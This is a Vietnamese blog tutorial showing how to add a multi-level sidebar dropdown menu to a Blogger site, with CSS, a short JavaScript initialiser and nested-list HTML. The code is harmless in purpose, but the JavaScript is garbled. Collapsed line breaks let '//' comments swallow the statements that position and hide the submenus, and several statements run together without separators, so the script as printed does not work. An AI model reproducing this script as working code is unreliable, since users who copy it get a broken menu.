Đây là một cái nhìn thực đơn đơn giản nhưng chuyên nghiệp bên cạnh trình đơn đa cấp. Nó chỉ là một thường xuyên danh sách UL lồng nhau, biến thành một trình đơn thả xuống bằng cách sử dụng một mã JavaScript rất nhỏ. Lưu ý rằng nền của trình đơn phải là một màu đặc thay vì có một hình nền, như tài sản sau đó được dành riêng để hiển thị hình ảnh mũi tên bên phải xuất hiện bên cạnh các mục menu với các menu bổ sung phụ.
DEMO:

• Item 1
• Item 2
• Folder 1
  • Sub Item 1.1
  • Sub Item 1.2
• Item 3
• Folder 2
  • Sub Item 2.1
  • Folder 2.1
    • Sub Item 2.1.1
    • Sub Item 2.1.2
    • Sub Item 2.1.3
    • Sub Item 2.1.4
• Item 4

Hình ảnh Right:  
Để làm được menu này chúng ta có 2 đoạn Code: Gồm CSS + Javascript và HTML.
CODE CSS + Javascript:
<style type="text/css">
.sidebarmenu ul{
margin: 0;
padding: 0;
list-style-type: none;
font: bold 13px Verdana;
width: 180px; /* Main Menu Item widths */
border-bottom: 1px solid #ccc;
}
.sidebarmenu ul li{
position: relative;
}
/* Top level menu links style */
.sidebarmenu ul li a{
display: block;
overflow: auto; /*force hasLayout in IE7 */
color: white;
text-decoration: none;
padding: 6px;
border-bottom: 1px solid #778;
border-right: 1px solid #778;
}
.sidebarmenu ul li a:link, .sidebarmenu ul li a:visited, .sidebarmenu ul li a:active{
background-color: #012D58; /*background of tabs (default state)*/
}
.sidebarmenu ul li a:visited{
color: white;
}
.sidebarmenu ul li a:hover{
background-color: black;
}
/*Sub level menu items */
.sidebarmenu ul li ul{
position: absolute;
width: 170px; /*Sub Menu Items width */
top: 0;
visibility: hidden;
} .sidebarmenu a.subfolderstyle{
background: url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhMIkgh1Wrj1V7JA4PiG_L_AlC4zekkqAcNNVuJa89SL-D0efjPHZnlmyHdg7BNWQhqV5IpRsItZF68hbst6uL5WdoH5P1w9lDLs5WFlxIOGgpqeJBsdEqZF_it5jvt1tEo_L_McesdcVQK/s1600/right.gif) no-repeat 97% 50%;
}
/* Holly Hack for IE \*/
* html .sidebarmenu ul li { float: left; height: 1%; }
* html .sidebarmenu ul li a { height: 1%; }
/* End */
</style>
<script type="text/javascript">
//huong dan http://itviet360.com
var menuids=["sidebarmenu1"] //Enter id(s) of each Side Bar Menu's main UL, separated by commas
function initsidebarmenu(){
for (var i=0; i<menuids.length; i++){
var ultags=document.getElementById(menuids[i]).getElementsByTagName("ul")
for (var t=0; t<ultags.length; t++){
ultags[t].parentNode.getElementsByTagName("a")[0].className+=" subfolderstyle" if (ultags[t].parentNode.parentNode.id==menuids[i]) //if this is a first level submenu ultags[t].style.left=ultags[t].parentNode.offsetWidth+"px" //dynamically position first level submenus to be width of main menu item else //else if this is a sub level submenu (ul) ultags[t].style.left=ultags[t-1].getElementsByTagName("a")[0].offsetWidth+"px" //position menu to the right of menu item that activated it ultags[t].parentNode.onmouseover=function(){
this.getElementsByTagName("ul")[0].style.display="block" }
ultags[t].parentNode.onmouseout=function(){
this.getElementsByTagName("ul")[0].style.display="none" }
}
for (var t=ultags.length-1; t>-1; t--){ //loop through all sub menus again, and use "display:none" to hide menus (to prevent possible page scrollbars ultags[t].style.visibility="visible" ultags[t].style.display="none" }
}
}
if (window.addEventListener) window.addEventListener("load", initsidebarmenu, false) else if (window.attachEvent) window.attachEvent("onload", initsidebarmenu)
</script>
CODE HTML: <div class="sidebarmenu">
<ul id="sidebarmenu1">
<li><a href="#">Item 1</a></li>
<li><a href="#">Item 2</a></li>
<li><a href="#">Folder 1</a>
<ul>
<li><a href="#">Sub Item 1.1</a></li>
<li><a href="#">Sub Item 1.2</a></li>
</ul>
</li>
<li><a href="#">Item 3</a></li>
<li><a href="#">Folder 2</a>
<ul>
<li><a href="#">Sub Item 2.1</a></li>
<li><a href="#">Folder 2.1</a>
<ul>
<li><a href="#">Sub Item 2.1.1</a></li>
<li><a href="#">Sub Item 2.1.2</a></li>
<li><a href="#">Sub Item 2.1.3</a></li>
<li><a href="#">Sub Item 2.1.4</a></li>
</ul>
</li>
</ul>
</li>
<li><a href="#">Item 4</a></li>
</ul>
</div>

- Hướng dẫn sử dụng cho Blogger
Trên Blogger các bạn tạo 1 Widget HTML/Javascript và dán lần lượt code CSS + Javascipt và HTML

---

Chúc các bạn thành công !

Read More